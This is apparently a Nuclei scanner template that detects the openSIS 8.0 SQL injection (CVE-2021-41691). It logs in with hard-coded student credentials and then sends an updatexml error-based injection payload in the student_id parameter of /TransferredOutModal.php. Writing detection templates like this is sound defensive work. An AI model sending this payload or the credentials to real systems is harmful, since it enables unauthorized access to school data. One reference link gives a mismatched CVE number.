53 lines
2.1 KiB
YAML
53 lines
2.1 KiB
YAML
id: CVE-2021-41691
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info:
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name: openSIS Student Information System 8.0 SQL Injection
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author: Bartu Utku SARP
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severity: high
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description: openSIS Student Information System version 8.0 is susceptible to SQL injection via the student_id and TRANSFER[SCHOOL] parameters in POST request sent to /TransferredOutModal.php.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
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remediation: |
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Apply the latest security patch or upgrade to a patched version of openSIS Student Information System to mitigate the SQL Injection vulnerability (CVE-2021-41691).
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reference:
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- https://securityforeveryone.com/blog/opensis-student-information-system-0-day-vulnerability-cve-2021-41691
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- https://www.exploit-db.com/exploits/50637
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4169
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classification:
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cve-id: CVE-2021-41691
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metadata:
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max-request: 2
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tags: cve,cve2021,sqli,auth,edb,opensis
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variables:
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num: "999999999"
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http:
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- raw:
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POST /index.php HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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USERNAME={{username}}&PASSWORD={{password}}&language=en&log=
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- |
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POST /TransferredOutModal.php?modfunc=detail HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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student_id=updatexml(0x23,concat(1,md5({{num}})),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
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attack: pitchfork
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payloads:
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username:
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- student
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password:
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- student@123
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2, "<!-- SQL STATEMENT:") && contains(body_2, "SELECT COUNT(STUDENT_ID)")'
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- 'status_code_2 == 200'
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condition: and
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# digest: 490a00463044022020acc5b755d418a36f3a29fce32ed2eea9c02cd42d4b920c8b944c10f5b4437c0220163520ea8ce575f433de2a6f5dfb65a4dc22438ffc172d9a6be807c9b7336dcd:922c64590222798bb761d5b6d8e72950 |